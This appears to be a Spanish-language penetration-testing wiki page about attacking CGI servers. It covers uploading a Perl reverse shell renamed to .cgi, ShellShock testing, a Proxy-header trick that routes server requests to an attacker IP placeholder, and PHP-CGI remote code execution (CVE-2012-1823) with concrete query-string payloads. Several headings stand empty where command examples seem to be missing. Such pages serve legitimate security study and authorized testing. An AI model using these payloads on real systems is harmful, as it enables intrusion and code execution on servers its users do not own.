CGI
Información
Los scripts CGI son scripts de perl, así que, si has comprometido un servidor que puede ejecutar .cgi scripts, puedes subir un shell reverso de perl (/usr/share/webshells/perl/perl-reverse-shell.pl
), cambiar la extensión de .pl a .cgi, dar permisos de ejecución (chmod +x
) y acceder al shell reverso desde el navegador web para ejecutarlo.
Para probar vulnerabilidades CGI se recomienda usar nikto -C all
(y todos los plugins)
ShellShock
ShellShock es una vulnerabilidad que afecta al ampliamente utilizado Bash en sistemas operativos basados en Unix. Se dirige a la capacidad de Bash para ejecutar comandos pasados por aplicaciones. La vulnerabilidad radica en la manipulación de variables de entorno, que son valores nombrados dinámicamente que impactan cómo se ejecutan los procesos en una computadora. Los atacantes pueden explotar esto adjuntando código malicioso a las variables de entorno, que se ejecuta al recibir la variable. Esto permite a los atacantes comprometer potencialmente el sistema.
Explotando esta vulnerabilidad, la página podría lanzar un error.
Podrías encontrar esta vulnerabilidad notando que está usando una versión antigua de Apache y cgi_mod (con carpeta cgi) o usando nikto.
Prueba
La mayoría de las pruebas se basan en hacer eco de algo y esperar que esa cadena sea devuelta en la respuesta web. Si crees que una página puede ser vulnerable, busca todas las páginas cgi y pruébalas.
Nmap
Curl (reflejado, ciego y fuera de banda)
Explotar
Proxy (MitM a solicitudes del servidor web)
CGI crea una variable de entorno para cada encabezado en la solicitud http. Por ejemplo: "host:web.com" se crea como "HTTP_HOST"="web.com"
Como la variable HTTP_PROXY podría ser utilizada por el servidor web. Intenta enviar un encabezado que contenga: "Proxy: <IP_atacante>:<PUERTO>" y si el servidor realiza alguna solicitud durante la sesión. Podrás capturar cada solicitud realizada por el servidor.
PHP antiguo + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Básicamente, si cgi está activo y php es "antiguo" (<5.3.12 / < 5.4.2) puedes ejecutar código. Para explotar esta vulnerabilidad necesitas acceder a algún archivo PHP del servidor web sin enviar parámetros (especialmente sin enviar el carácter "="). Luego, para probar esta vulnerabilidad, podrías acceder por ejemplo a /index.php?-s
(nota el -s
) y el código fuente de la aplicación aparecerá en la respuesta.
Luego, para obtener RCE puedes enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
y el código PHP que se ejecutará en el cuerpo de la solicitud. Ejemplo:
Más información sobre la vulnerabilidad y posibles exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Ejemplo de Writeup de CTF.
Last updated